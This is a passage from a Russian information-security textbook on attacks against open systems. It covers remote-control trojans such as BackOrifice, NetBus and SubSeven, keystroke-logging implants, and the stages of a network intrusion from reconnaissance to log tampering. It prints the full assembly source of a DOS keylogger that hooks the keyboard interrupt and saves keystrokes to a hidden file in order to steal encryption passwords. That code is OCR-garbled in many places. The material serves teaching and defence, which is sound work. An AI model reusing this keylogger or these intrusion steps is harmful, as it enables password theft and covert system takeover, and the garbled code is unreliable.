Удаленный контроль над станцией в сети заключается в запуске на атакуемом компьютере программы сетевого шпиона, основная цель которой - получение удаленного контроля над станцией в сети. Схематично основные этапы работы сетевого шпиона выглядят следующим образом: инсталляция в памяти; ожидание запроса с удаленного хоста, на котором запущена головная сервер-программа, и обмен с ней сообщениями о готовности; передача перехваченной информации на головную сервер-программу или предоставление ей контроля над атакуемым компьютером.
Существуют многочисленные утилиты, позволяющие контролировать все символьные строки, вводимые на выбранном злоумышленником в качестве жертвы компьютере. Некоторые из них встроены в утилиты контроля данных, посылаемых с хоста во время сеансов FTP или Telnet, а другие буферизируют все символьные строки, вводимые с различных терминалов, связанных с хостом. Для ПК имеются многочисленные программы, которые выполняют те же самые функции, наблюдая за вводом с клавиатуры и сохраняя символьные строки в файле. Эти программы получили название резидентных программ перехвата сканкодов клавиатуры [резидентные программы находятся в памяти постоянно с некоторого момента времени до окончания сеанса работы ПК (выключения питания или перезагрузки); эти программы могут быть помещены в память при начальной загрузке ПК, загрузке операционной среды или запуске некоторой программы, а также запущены отдельно]. К ним относятся: для MS DOS - программы Keytrap, Playback и Keycopy; для Novell Netware -программы Getit (отслеживает обращение к функции login) и NWL.
Программа Virtual Network Computing (VNC), разработанная в AT&T Laboratories [http://www.uk.research.att.com/unc/], также предоставляет удаленный контроль над станцией в сети. Возможности управления таковы, как если бы атакующий сидел непосредственно за компьютером жертвы. Программа независима от ОС жертвы и атакующего и работает с большинством версий ОС Unix и Windows. У VNC есть клиентская и серверная части. Сервер размещается на компьютере, которым нужно управлять, и запускается командой vncserver (чтобы это сделать, у взломщика должен быть доступ к командной строке атакуемой машины). Клиент устанавливается на компьютере атакующего. В отдельных случаях можно обойтись без клиентской части, поскольку VNC может управляться с помощью обычного веб-браузера. Если жертвой является Windows-машина, то злоумышленник, например, посылает по электронной почте письмо с замаскированной под почтовое вложение программой VNC, которая запускается по аналогии с X Window, когда для него инициализируется displays. Например, дисплей номер 0 (нуль) позволяет VNC прослушивать порт 5800 для веб-сервера и порт 5900 для VNC-сервера. После того, как злоумышленник соединится с помощью веб-браузера с портом 5800 по IP-адресу VNC-машины и введет правильный пароль, рабочий стол жертвы станет доступным для взломщика через веб-браузер. Собственные средства просмотра VNC дают возможность отобразить рабочий стол атакуемой машины и вне окна веб-браузера. Средство просмотра использует порт 5900. VNC сохраняет информацию о сессии в системном реестре. Эта программа может быть запущена не только пользователем с полномочиями root.
Классической стала программа, появившаяся во второй половине 1998 г. и обеспечивающая злоумышленнику возможность управлять удаленным компьютером, -это BackOrifice, или просто Ьо. При запуске она подменяет некоторые системные
312
Информационная безопасность открытых систем
библиотеки, "садится" на определенный порт и слушает его, ожидая запросы от программы bo-клиента. При поступлении вызова от клиента происходит его авторизация и в случае успеха устанавливается соединение, передающее полное управление системой клиенту. ВО2к - одна из немногих программ, обеспечивающих доступ через "черный ход", которые могут работать поверх TCP- и UDP-протоколов. Также ВО2к предоставляет возможность шифрования канала связи между клиентом и сервером, предлагая XOR- и ЗОЕ8-шифрование. ВО2к позволяет выполнять множество "системных действий". Сюда входит возможность перезагружать атакованную машину, заблокировать машину или запросить системную информацию. Атакующий может все - от перехвата ввода с клавиатуры до форматирования дискеты и проигрывания музыкальных файлов. Также можно проверять и менять статус процессов на атакованной машине, запускать или уничтожать их, просматривать отображаемое на мониторе машины жертвы и инспектировать содержимое файловой системы.
После появления Ьо началось повальное увлечение разработкой аналогичных программ, к числу которых можно отнести NetBus, Y3K, Phase, SubSeven и др.
Программа Netbus несколько отличается от описанной выше VNC; хотя Netbus позволяет лучше контролировать атакуемую машину (у нее нет такого развитого графического интерфейса). К тому же большинство детекторов вирусов обнаруживают Netbus, что определяет использование программы только против незащищенных машин. Сначала Netbus должна быть установлена на машине злоумышленника, чтобы его можно было сконфигурировать перед заражением жертвы. Инсталляция программы похожа на установку большинства приложений для Windows-систем. Netbus так же, как и VNC, поставляется в комплекте клиент-сервер. Обычно сервер передается на машину-жертву с использованием электронной почты, компакт-диска или аналогичного устройства. Как только сервер запускается, машина оказывается захваченной, какая бы мощная система безопасности ни работала между машиной и клиентом, размещенным на машине злоумышленника. С помощью Netbus можно выполнять, например, исследование файловой системы, перенаправление ТСР-портов через систему защиты, запуск программ и многое другое.
SubSeven (Sub7) - это одно из лучших средств в данной категории. Sub7 может изменять свои параметры и тем самым обманывать средства поиска вирусов, которые обычно перехватывают утилиты, подобные Netbus и ВО2к. Так же, как Netbus и BO2k, Sub7 требует, чтобы перед использованием был сконфигурирован сервер. Sub7 может не только выполнять работу по управлению захваченной машиной, но также информировать о новых машинах, которые он смог захватить, используя одну из нескольких возможностей (ICQ, IRC, электронная почта). В результате злоумышленник получает дополнительные преимущества, связанные с тем, что нет необходимости искать машины, которые могут быть заражены его сервером. Для этого сервер прослушивает ТСР-порт 62875 (порт не является специальным, он выбран случайно). Также можно использовать возможность работы парольной защиты при доступе к серверу. У Sub7 есть функция перехвата вводимых паролей и другой интересной информации. которую пользователь может вводить с консоли. Для обхода средств защиты злоумышленник может переадресовать порт на захваченной машине с целью спрятать свой IP-адрес. Есть возможность инспектировать файловую систему, управлять процессами, просматривать данные в буфере обмена атакованной машины.
4. Атаки на открытые системы
313
До выхода Ьо использовались различные аналогичные утилиты (rootkit), но они писались в основном под ОС Unix. BackOrifice был создан для ОС Windows, что обеспечило его широкое распространение по всему миру.
Надо также отметить, что по аналогичной технологии строятся специальные утилиты, облегчающие дистанционный контроль и управление удаленными узлами для администраторов сетей. Примером такой утилиты является Remote Administrator.
Главной чертой рассматриваемой ТУА является прежде всего то, что в случае удачной ее реализации атакующий получает полный контроль над системой: он может полностью управлять работой программ, графического интерфейса, мультимедиа-устройствами, даже периферией и внешними устройствами. Другими словами, взломщик получает полный контроль над атакованной машиной. Универсальной защиты от таких атак пока нет, так как программ удаленного управления существует много, а в работе используют они хотя и похожие, но разные алгоритмы. Поэтому для каждой конкретной атаки надо искать конкретное средство защиты либо использовать средства для проверки системы на "зараженность" серверной частью таких программ. Очень часто они реализованы в виде "троянских коней", поэтому иногда антивирусы могут выявлять их.
Служба безопасности одного из крупных коммерческих банков зарегистрировала действия, которые могли быть проделаны лишь при знании некоторой конфиденциальной информации, хранимой в виде базы данных в зашифрованном виде. Сомневаться в алгоритме шифрования не приходилось - использовалась утилита DISKREET, реализующая национальный стандарт шифрования США (в то время DES). Утери паролей для шифрования также не было выявлено. Изучение компьютеров выявило наличие в загрузочных секторах ПК своеобразных вирусов - программ, которые сохраняли вводимую с клавиатуры информацию (в том числе и пароли для шифрования) в нескольких зарезервированных для этого секторах. Спустя некоторое время появилась еще одна разновидность таких программ, также связанная с утилитой DISKREET. Теперь программа работала с утилитой по принципу обыкновенного файлового вируса. Она никак не проявляла себя внешне, однако сохраняла весь ввод с клавиатуры в скрытом файле.
Такие программы называют программными закладкам (по аналогии с незаметно внедряемыми в помещения миниатюрными электронными системами звукового подслушивания или телевизионного наблюдения) - специальными скрытно внедренными в защищенную систему программами (или специально дописанными фрагментами пользовательской программы), позволяющими злоумышленнику путем модификации свойств системы защиты осуществлять НСД к ресурсам системы (в частности, к конфиденциальной информации) [76]. В дальнейшем компьютерным злоумышленникам требуется, например, лишь считать файл (или просмотреть секторы), чтобы узнать пароли и по ним получить интересующие их данные.
Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура - это основное устройство управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т. д.
Например, злоумышленник пользуется информацией, которая извлечена из некоторого массива данных, созданного работой программного средства злоумышленника совместно с системой проверки прав доступа и предоставления этих прав (предва
314
Информационная безопасность открытых систем
рительно внедренная в систему программа при осуществлении доступа легального пользователя запомнит его пароль и сохранит в заранее известном доступном злоумышленнику файле, а затем нелегальный пользователь применит данный пароль для входа в систему). Либо злоумышленник изменит часть системы защиты так, чтобы она перестала выполнять свои функции (например, изменит программу шифрования вручную или при помощи некоторой другой программы так, чтобы она перестала шифровать или изменила алгоритм шифрования на более простой).
При рассмотрении воздействия закладки и программ защиты информации уместны аналогии с взаимодействием вируса и ПП. Вирус может присоединиться к исполняемому файлу, соответствующим образом изменив его, может уничтожить некоторые файлы или встроиться в цепочку драйверов. Закладка отличается более направленным и тонким воздействием. Однако ясно, что и вирус и закладка должны скрывать свое присутствие в операционной среде компьютерной системы. Особенностью закладок может быть и то, что они фактически становятся неотделимы от прикладных или системных программ, если внедрены в них на стадии разработки или путем обратного проектирования (путем дизассемблирования ПП, внедрения кода закладки и последующей компиляции).
На ПК можно отличить такую программу, подменяющую обычную программу системной регистрации, от других резидентных программ, выполняющихся в памяти, при помощи команды MS DOS МЕМ, но только в том случае, если она не была замаскирована от такого наблюдения.
Для того чтобы закладка смогла выполнить какие-либо функции по отношению к ПП, она должна получить управление, т. е. процессор должен начать выполнять инструкции (команды), относящиеся к коду закладки [76]. Это возможно только при одновременном выполнении двух условий.
1. Закладка должна находиться в оперативной памяти до начала работы программы; которая является целью воздействия закладки; следовательно, она должна быть загружена раньше или одновременно с этой программой.
2, Закладка должна активизироваться по некоторому общему как для закладки, так и для основной программы событию, т. е. при выполнении ряда условий в программно-аппаратной среде управление должно быть передано на программу-закладку.
Это достигается путем анализа и обработки закладкой общих относительно закладки и ПП воздействий (как правило, прерываний). Причем прерывания должны сопровождать работу ПП или работу ПК. В качестве таких прерываний можно выделить: прерывания от таймера ПК; прерывания от внешних устройств; прерывания от клавиатуры; прерывания при работе с диском; прерывания операционной среды (в том числе прерывания при работе с файлами и запуск исполняемых модулей). В противном случае активизации кода закладки не произойдет, и он не сможет оказать какого-либо воздействия на работу программы защиты информации.
Кроме того, возможен случай, когда при запуске программы (при этом активизирующим событием является запуск программы) закладка разрушает некоторую часть кода программы, уже загруженной в оперативную память, и, возможно, систему контроля целостности кода или контроля иных событий и на этом заканчивает свою работу.
(Проблема подмены системных утилит рассматривается в п. 4.3.3.)
4. Атаки на открытые системы
315
Обычно модемные инструменты нападения включают набор измененных функций is, find, chmod, chown, du, df, netstat, ps, ifconfig и др. [77]. Заменив эти части ядра защиты, взломщик не только обезопасит свою деятельность, сделав ее незаметной, но и предотвратит аномальные изменения в ПО, работающем в системе.
Теперь вернемся к перехвату ввода с клавиатуры. Он может происходить двумя основными способами:
1) встраиванием в цепочку прерывания int 9h;
2) анализом содержания клавиатурного порта или буфера по таймерному прерыванию.
Приведем простой пример такой программы. Ниже приводимый фрагмент выделен из закладки типа ANTINORTON, предназначенной для выделения паролей из утилиты DISKREET пакета Norton Utilites ver.6.0. Работа закладки основывалась на полном сохранении всей работы с клавиатурой (нажатий-отжатий клавиш) в скрытом файле WORK_KEY.BIN. Файл затем изучался, и на его основе лицо, пытавшееся получить доступ к зашифрованным файлам, восстанавливало возможные парольные последовательности. Эта закладка была одновременно внедрена в системы автоматизации документооборота нескольких филиалов коммерческого банка, использовавших для криптографической защиты документов утилиту DISKREET. Выделение паролей значительно облегчал тот факт, что пароль запрашивался для контроля правильности два раза.
.MODEL TINY
.CODE org 100h start: jmp init save: ; сохранение регистров push!
push ax push bx push ex push dx push es push ds ;DS = CS push cs pop ds ; создать HIDDEN-файл с именем в переменной MYNAME mov ah,3ch mov ex, 02h
mov dx, offset my_name int 21 h
; при неудаче - окончание процедуры jc end.save
; поместить file handle в BX mov bx,ax
; записать в созданный файл 100 байт
mov ah, 40h
mov ex,100
316
Информационная безопасность открытых систем
mov dx, offset buf int 21 h ; закрыть файл mov ah, 3Eh int 21 h end_save:
; установить переключатель TG1 в О movtgl.O pop d s popes popdx pop ex popbx pop ax popf ret
; новый обработчик прерывания int 9h new_9: pushf
; проверить переключатель TG2 на равенство О
; (TG2 инициализирован хах 1) emp cs:[tg2],0
; если 0 - выполнить старое прерывание jem3 push ах push bx
; считать скан-код нажатия-отжатия in al,60h
; считать значение счетчика COUNT mov bx,cs:[count]
; индексируя по ВХ, записать скан-код в массив BUF mov byte ptr csllbufl [bx],al
; на I увеличить счетчик inc cs:[count]
; сравнить счетчик co значением MAX_CN emp bx,cs:[max_cn]
; если меньше, на ml jl ml
; переустановка переключателей
; TG1 = 1 - выводить в файл
; TG2 = 0 - отключить сохранение
mov cs:[tg2],0
mov cs:[tg1 ], 1 ml:
popbx pop ax m3: popf jmp cs:[old_9] old_9dd 0 count dw 0 ; имя файла для вывода
4. Атаки на открытые системы
317
my_name db "work_key.bin'' ; окончание строки О dwO
; максимум нажатий-отжатий max_cn dw 100
; переключатели tg1 dw 0 tg2 dw 1
; новый обработчик int 28
; используется для проверки возможности выполнения ; операций DOS
new_28:
; вызов старого обработчика pushf
call dword ptr cs:[old_28] ; если TG1 = 0- IRET cmp cs:frg1],0 je m2 ; сохранить накопленный буфер в файле call cs:[save]
m2: iret dd_28 dd 0 bufdblOOOdup(O)
Init:
push cs pop ds ; подмена int 9 push es push bx cli
mov ax,03509h
int21h sti
mov word ptr [old_9],bx mov word ptr [old_9+2],es popbx
popes push dx cli
mov dx, offset new_9 mov ax,02509h
int 21 h sti popdx
; подмена int 28 pushes push bx cli
mov ax,03528h int 21 h
sti
318	Информационная безопасность открытых систем
mov word ptr [old. .28],bx mov word ptr [old_28+2],es popbx popes push dx cli
mov dx, offset new_28 mov ax,02528h int 21 h sti popdx
; определяем размер mov ax, offset init pushf mov cl,4 sarax,cl inc ax popf mov dx.ax ; оставляем TSR mov ax, 031 OOh int 21 h mov ax.04C00h int 21 h end start
Существует свободно распространяемое средство борьбы с подобными программами-шпионами — Advanced AntiKeylogger для Windows 2000/ХР [http://anti-keylogger.net]. Используя эту утилиту, можно защитить компьютер от программ, перехватывающих нажатия на кнопки клавиатуры. AntiKeylogger не использует базу программ, с которыми ей приходится бороться, поскольку базу пришлось бы часто обновлять. Вместо этого программа пресекает всякие попытки перехватить работу с клавиатурой. Поскольку перехват ввода с клавиатуры может потребоваться и полезной программе (например, для активизации определенной функции по сочетанию "горячих клавиш" в фоновом режиме), AntiKeylogger предусматривает режим, основанный на правилах. В этом режиме ее работа напоминает работу МЭ - при обнаружении запроса на перехват программа выдает на экран окно подтверждения. Пользователь может разрешить перехват, если его инициировала программа, вызывающая доверие, или запретить, если он исходит от подозрительного модуля. Встроенный менеджер правил позволяет просмотреть полный список всех разрешенных или запрещенных приложений. Кроме того, можно оперативно изменить статус любого из них на противоположный. Предусмотрен и режим высокой секретности, в котором автоматически блокируются все попытки перехвата, вне зависимости от того, какая программа пытается его выполнить.
Защитой от описанных программных закладок являются три принципиально важных мероприятия:
	выявление разрушающих воздействий в BIOS (ПЗУ);
	построение систем контроля целостности;
	построение изолированной операционной среды.
4. Атаки на открытые системы
319
4.2. Типичные сценарии и уровни атак
Очевидно, что первая цель злоумышленника при взломе интранета или компьютера - получить доступ к системе (без осуществления этого этапа НСД к информации или запуск разрушающего ПО невозможны). В прошлом большинство компьютеров подсоединялось к обычной телефонной сети при помощи модема. Перед злоумышленником в качестве преграды вставало лишь требование зарегистрироваться для входа в систему, т. е. осуществить идентификацию, а затем аутентификацию. Процедура проверки принадлежности пользователю предъявляемого им идентификатора (т. е. подтверждение подлинности пользователя) называется аутентификацией. Посредством аутентификации система убеждается, что субъект действительно тот, за кого себя выдает [78]. (Идентификатор - это уникальный признак объекта или субъекта доступа. Пароль — идентификатор субъекта доступа, который является его секретом.) Во многих ОС применяется аутентификация при помощи пароля - дополнительной комбинации символов, ассоциируемой с пользовательским именем. Предполагается, что субъект, способный сообщить системе имя и соответствующий ему пароль, является легальным пользователем. Правильная идентификация и аутентификация пользователей в интранете позволяет решить проблему подлинности, так как, не зная, с кем имеешь дело, невозможно обеспечить реальное управление системой. Необходимо, чтобы пользователь, подключаясь к серверу, был уверен, что он обменивается информацией именно с тем сервером, который ему нужен, а не с подставным. Также во многих приложениях требуется, чтобы и сервер мог надежно идентифицировать клиента. Поэтому первым шагом для получения НСД является отыскание допустимого имени пользователя и пароля [79].
Функции по работе с идентификаторами и паролями выполняются подсистемой управления доступом к интранету. Эти функции включают выполнение следующих действий: идентификацию (присвоение субъектам и объектам доступа идентификатора и/или сравнение предъявляемого идентификатора с перечнем присвоенных идентификаторов); проверку подлинности и контроль доступа субъектов к интранету, к терминалам, ЭВМ, узлам интранета, каналам связи, внешним устройствам ЭВМ, к программам, к томам, каталогам, файлам, записям, полям записей.
Наиболее типичный сценарий развития событий при осуществлении взлома сети может быть таким. Сначала происходит взлом веб-сервера из-за ошибки в его ПО. Далее одним из известных злоумышленнику способов получается доступ к файловой системе компьютера. Осуществляется загрузка "троянского коня". Расшифровывается файл с паролями. После этого задача сводится к получению административного доступа к системе. А если взломанная система является контроллером домена, образующего ДМ3 веб-серверов, его ОС - Windows, а сам домен предназначен и для контактов с поставщиками компании? И там же находятся почтовый и FTP-серверы? Контроллеру домена под управлением, например, Windows 2000 делегируются права сервера (Server) или расширенного сервера (Advanced Server). На нем автоматически устанавливаются служба активного каталога, служба DNS и сервер DHCP, а также открываются соответствующие порты. Контроллеры доменов - это важнейшие компоненты сети, поэтому они требуют особого обращения. В нашем примере последствия будут самыми печальными. Причина же кроется в одной очень серьезной ошибке - все компьютеры и сетевые службы ДМ3 входили в один Windows-домен.
320
Информационная безопасность открытых систем
Рассмотрим возможный ход развития событий при осуществлении самой обычной атаки.
4.2.1. Этапы реализации атак
Укажем основные этапы реализации нескольких типичных сценариев развития атак. Сначала рассмотрим первую стратегию взлома, применяемую нарушителями [39,41].
Стадия 1: внешняя разведка (outside reconnaissance). Перед реализацией атаки на интранет типичный нарушитель обычно осуществит ряд пробных атак на внешние хосты сети, что не требует тесного контакта с жертвой. Злоумышленник стремится получить как можно больше информации об атакуемой системе, ничем себя не выдавая. Он делает это, собирая доступную информацию или маскируясь под обычного пользователя. На этой стадии его действительно нельзя обнаружить. Нарушитель будет высматривать "кто есть кто". Для изучения DNS-зоны и установления имен компьютеров он, возможно, пройдется по DNS-таблицам (используя nslookup, dig или другие утилиты). Нарушитель разыскивает и другую информацию для открытого использования, такую, как публичные веб- и FTP-серверы с анонимным входом. На основе применения следующих методик он попытается собрать внешние и внутренние имена хостов:
	команда nslookup для реализации запросов вида "Is <домен или сеть>";
	просмотр гипертекстовых страниц на веб-серверах для определения любых других хостов, которые там упоминаются или на которые есть ссылки;
	просмотр документов на FTP-серверах;
	соединение с почтовыми серверами и выполнение запросов "ехрп <пользова-тель>";
	применение команды finger к пользователям внешних хостов.
Чтобы избежать обнаружения запуска finger посредством выявления определенных флагов, большинство нарушителей применяют шлюзы (gateways) для finger. Это специальные веб-страницы. Они обычно имеют одно входное поле, указывающее на CGI-программу на удаленном сервере, запускающем функцию finger. Другой метод избежать обнаружения состоит в перенаправлении запроса finger. Атакующий пересылает запрос с одного finger-сервера на другой, последовательно перезапрашивая информацию. Такой процесс называется пересылкой finger-запросов и запускается командой finger user@real_target.com@someother_host.com. Однако сегодня многие системные администраторы отключают пересылку finger в своих системах.
Сначала осуществляется попытка сбора информации о самом интранете, а затем злоумышленник пытается узнать все о его уязвимостях на основе изучения слабых мест конкретной конфигурации и используемых для его поддержки аппаратных и программных средств.
Глядя на результаты вышеперечисленных запросов, атакующему довольно легко составить список хостов и начать понимать отношения, которые существуют между ними (в смысле отношений доверия). Реализуя эти предварительные попытки, типичный нарушитель допустит очень мало ошибок. Иногда для проверки версий ОС и определения других мелких деталей, устанавливая соединения с портами компьютеров, он может использовать свой собственный IP-адрес. Но
4. Атаки на открытые системы
321
часто атакующие для сокрытия своего реального IP-адреса обязательно будут применять следующие методики:
	использование предыдущих взломанных через Telnet или rsh хостов;
	применение Windows-хостов через Wingates;
	использование хостов с неправильно сконфигурированными прокси-серверами.
Если такой нарушитель имеет привычку всегда сканировать новые хосты с ранее взломанных компьютеров, Wingates или proxy, тогда можно посоветовать связаться с владельцем компьютера по телефону и сообщить ему об обнаруженных проблемах. В таком случае никогда не посылайте свое сообщение по электронной почте, потому что его может перехватить злоумышленник.
Если хосты сети впоследствии были взломаны, можно порекомендовать проверить входы FTP и httpd на наличие каких-либо странных запросов, а также посмотреть лог-файлы МЭ, если он установлен в системе. Тогда признаки подозрительной деятельности чаще всего будут выявлены.
После первого этапа злоумышленник знает:
	кто администратор;
	компьютеры в сети и, возможно, их функции, ОС, дыры, серверы доменных имен;
	переписку администратора по электронной почте о топологии, управлении, политиках, проблемах администрирования сети.
Стадия 2: внутренняя разведка (inside reconnaisance). Нарушитель использует более сильные методы для получения информации, но по-прежнему не делает ничего вредного. Он может пройти через все веб-страницы и посмотреть CGI-скрипты, которые очень часто подвергаются атакам. Он может запустить утилиту ping (или средства типа ping sweeps) и посмотреть, какие компьютеры активны в интранете. Он может провести сканирование UDP/TCP-портов на намеченных для атаки компьютерах и определить доступные сервисы. Он может запустить утилиты типа rpcinfo, showmount, snmpwalk и т. п. и определить, какие службы являются доступными. Исследуя реализацию стека TCP/IP (stack fingerprinting), он с высокой степенью вероятности быстро определяет тип и версию ОС узла-жертвы (зная о существующих различиях и проверив реакцию служб изучаемой системы на различные ситуации, можно практически однозначно определить тип и версию соответствующей ОС). В данный момент нарушитель ведет "нормальную" деятельность в сети и нет ничего, что могло быть классифицировано как нарушение. В этот момент сетевая система обнаружения вторжений (СОВ) скажет, что "кто-то дергает за ручки дверей", но пока еще никто не ломится в закрытую дверь.
На этой стадии атаки нарушители пытаются определить доверительные сетевые компоненты. Это обычно компьютер администратора или сервер, которые считаются защищенными. Атакующий начинает с проверки экспорта файлов в NFS любого компьютера, с которого запускались утилиты nfsd или mountd, что укажет ему на возможность монтирования важных директорий (например, типа Zusr/bin, /etc или /home) на некоторых доверительных хостах. Для определения доверительных хостов и пользователей, обычно входящих на компьютер со специальных хостов, часто употребляется демон Finger. Далее компьютер проверяется на наличие других форм доверия. Если можно определить уязвимости CGI, то злоумышленник может получить доступ, например, к файлам хостов /etc/hosts.allow. После анализа информации, полученной в результате указанных проверок, он будет пытаться определить доверие
11—2368
322
Информационная безопасность открытых систем
между хостами. Следующий его шаг - это определение любых доверительных хостов, которые уязвимы для удаленного взлома.
Далее нарушитель, получив список внешних и внутренних хостов, сканирует уязвимости сетевых компонентов. Для У А он использует, например, такие Linux-программы, как ADMhack, mscan, nmap, RuNmap, и другие небольшие сканеры. Обычно сканеры внешних хостов запускаются с компьютера, с которым у атакующего имеется быстрая оптоволоконная связь. ADMhack требует запуска от имени root на Linux-компьютере, поэтому атакующий часто применяет такой компьютер, к которому он уже получил доступ, с установленным на нем хакерским пакетом rootkit. Это средство, применяемое злоумышленниками для установки лазеек и "троянских коней" во взламываемую систему, дающее этим установленным средствам доступ к ней от имени root и далее скрывающее эти средства от обнаружения. Rootkit применяется для доступа к особо важным системным утилитам, помогающим получить несанкционированный и неидентифицируемый доступ к хосту.
Системные администраторы хостов, которые сами обычно сканируют внешние корпоративные хосты, и не догадываются о том, что сканирование осуществляется нарушителями с их компьютеров, так как системные утилиты ps и netstat содержат "троянцев" для сокрытия процессов сканирования.
Другие программы, типа mscan и nmap, для эффективного определения уязвимостей при У А не требуют запуска от имени root и могут быть запущены с хостов Linux (или других платформ, как в случае nmap). Но эти сканеры довольно медленны и не могут быть хорошо спрятаны (так как атакующему не нужен доступ от имени root к хостам, как в случае ADMhack).
И ADMhack и mscan выполняют следующие виды проверок на удаленных хостах:
	сканирование TCP-портов на хосте;
	выгрузку RPC-сервисов, запущенных через portmapper;
	составление списка экспорта файлов, осуществляемого через nfsd;
	составление списка разделяемых ресурсов для samba и netbios;
	многократные запросы finger для выявления учетных записей по умолчанию;
	сканирование уязвимостей CGI;
	определение уязвимых версий серверных демонов, включая sendmail, IMAP, POP3, RPC status и RPC mountd.
Программы типа SATAN сегодня используются редко, так как они очень медленны и сканируют сети на наличие уже устаревших уязвимостей.
После запуска на внешних хостах ADMhack или mscan злоумышленник будет знать об уязвимых и защищенных хостах.
Если в сети есть маршрутизаторы, поддерживающие протокол SNMP, то наиболее искушенные атакующие попробуют агрессивные методики SNMP-сканирования и применительно к этим последовательно расположенным устройствам, находящимся в ведении общественных и частных организаций, а также применят метод "грубой силы" для подбора паролей.
Первые две стадии атаки обычно заканчиваются составлением схемы уязвимостей (vulnerability mapping) — некой схемы соответствия между определенными атрибутами безопасности системы (например, находящиеся в состоянии ожидания службы, определенные версии запущенных серверов, архитектура системы, информация о пользовательских именах и т. д.) и соответствующими явными или потенци
4. Атаки на открытые системы
323
альными уязвимостями и дефектами системы защиты. Для выполнения этой задачи взломщик может определить, как соотносятся собранные сведения с информацией о выявленных недостатках, опубликованных в общедоступных источниках типа электронного хакерского журнала Bugtraq (архив находится по адресу http://www.security-focus.com/, а его русская версия на http://bugtrag.ru) или на веб-узле CERT и непосредственными разработчиками тех или иных продуктов. Хотя этот процесс достаточно длителен и утомителен, в результате можно получить очень подробную картину потенциальных уязвимых мест без необходимости непосредственного изучения в интерактивном режиме интересующей взломщика системы. Правда, возможно и непосредственное изучение системы с использованием известных или самостоятельно разработанных средств, предназначенных для автоматического сканирования систем в поисках уязвимых мест.
После этих стадий атаки злоумышленник располагает достаточными сведениями для ее продолжения. То, что он знает о сетях, представлено в табл. 5.
Таблица S. Идентифицирующие сведения о сети-жертве
Технология	Идентифицирующие сведения
Интернет	Имена доменов; адреса подсетей; точные IP-адреса компьютеров, подключенных к Интернету; TCP- и UDP-службы, работающие на каждом из обнаруженных компьютеров; архитектура системы; механизмы управления доступом и соответствующие списки управления доступом; СОВ; регистрационная информация
Интранет	Используемые сетевые протоколы; имена внутренних доменов; адреса подсетей; IP-адреса компьютеров, подключенных к Интернет; TCP- и UDP-службы, работающие на обнаруженных компьютерах; архитектура системы; механизмы управления доступом и соответствующие списки управления доступом; СОВ; регистрационная информация
Удаленный доступ	Телефонные номера, используемые для УД; тип АТС; тип удаленной ОС; механизм аутентификации
Экстранет	Исходящая и входящая точки соединения: тип соединения; механизм управления доступом
Стадия 3: использование скрытых возможностей и уязвимостей сетевого программного и аппаратного обеспечения (exploits). Нарушитель пересекает границу и начинает использовать возможные уязвимости на выделенных компьютерах. Теперь атакующий определил все доверительные внешние хосты, а также некоторые уязвимости внешних хостов. Если были вычислены все уязвимые сетевые компоненты, то далее он попытается взломать хосты. Нарушитель не будет взламывать хосты в обычное время - он, как правило, реализует свои атаки между девятью часами вечера и шестью часами утра следующего дня. Это уменьшит число тех, кто может своевременно узнать об атаке, и даст атакующему достаточно времени для установки "люков" и снифферов, не беспокоясь о присутствии системного администратора. Именно в выходные дни происходит большинство атак.
Затем злоумышленник "ломает" внешний доверительный хост, который в дальнейшем может быть использован как место, с которого дальше будет осуществляться атака на интранет. Эта методика может работать, а может и нет - в зависимости от фильтрации между интранетом и внешними корпоративными хостами.
324
Информационная безопасность открытых систем
Если атакующий взломает внешний почтовый сервер, который, в свою очередь, имеет полный доступ к сегменту внутреннего интранета, то он может начать работать, глубоко проникнув внутрь сети.
Для взлома большинства сетевых компонентов используются программы удаленного исследования уязвимых версий серверного демона, работающего на внешних хостах. Например, это уязвимые версии sendmail, IMAP, РОРЗ и RPC-сервисов типа statd, mountd и pcnfsd. После выполнения такой программы удаленного исследования уязвимостей работающего на внешнем хосте серверного демона атакующий обычно получает доступ пользователя root к хосту, который далее, в свою очередь, может быть употреблен для расширения доступа к другим хостам интранета.
Нарушитель может попытаться скомпрометировать CGI-скрипт, посылая команды shell в полях входных данных. Нарушитель может попытаться использовать хорошо известные уязвимости "переполнения буфера", посылая большое количество данных. Нарушитель может начать проверку бюджетов (учетных записей) с легко подбираемыми (или пустыми) паролями. Злоумышленник может пройти через несколько стадий атаки. Например, если он смог получить доступ к бюджету обычного пользователя, то затем он будет пытаться совершать дальнейшие подвиги и получить доступ к учетной записи супервизора root/admin.
Стадия 4: сокрытие следов (foot hold). Нарушитель уже успешно проник в интранет, и теперь его основная цель - скрыть свидетельства атаки путем исправления журналов регистрации. Он может инсталлировать специальные утилиты, дающие УД, возможность замены существующих сервисов своими собственными "троянскими конями" или создания своих собственных учетных записей и т. п. Системы контроля целостности часто обнаруживают нарушителя именно на этом этапе, отслеживая измененные системные файлы.
После исследования серверного демона для устранения выдающей его информации в лог-файлах хоста и установки "люков" в системных утилитах атакующий запускает операции очистки. Это позволит ему незаметно проникнуть на хост позднее. Он начинает с установки "люков", что упростит ему в дальнейшем получение доступа к хосту. Большинство таких лазеек заранее скомпилировано. Далее действия атакующего сводятся к замене даты и разрешений для системных утилит, для которых созданы "люки”. В некоторых случаях даже размер файлов для новых системных утилит равен размеру их оригинала. Для копирования программ с лазейками на хост атакующие, знающие о лог-файлах передачи для FTP, могут применить программу гср.
Обычно злоумышленник и инсталлирует в высшей степени критические к "люкам" и "троянцам" системные утилиты типа ps и netstat, скрывающие любые соединения, которые он может устанавливать с данным хостом и с данного хоста. Например, на компьютерах с ОС Solaris наиболее часто подвержены установке "люков" системные утилиты /usr/bin/login, /usr/sbin/ping, /usr/sbin/in.telnetd, /usr/sbin/in.rshd и /usr/sbin/in.rlogind.
Известно, что некоторые атакующие помещают файл .rhosts в директорию /usr/bin, что позволяет им в интерактивном режиме получать УД к хосту посредством rsh и csh.
Следующий шаг, предпринимаемый многими взломщиками, заключается в проверке хоста на наличие системы идентификации соединений, которая может выявить
4. Атаки на открытые системы
325
его соединение с хостом. Тогда в соответствующих лог-файлах на хосте он постарается отредактировать записи о своих соединениях.
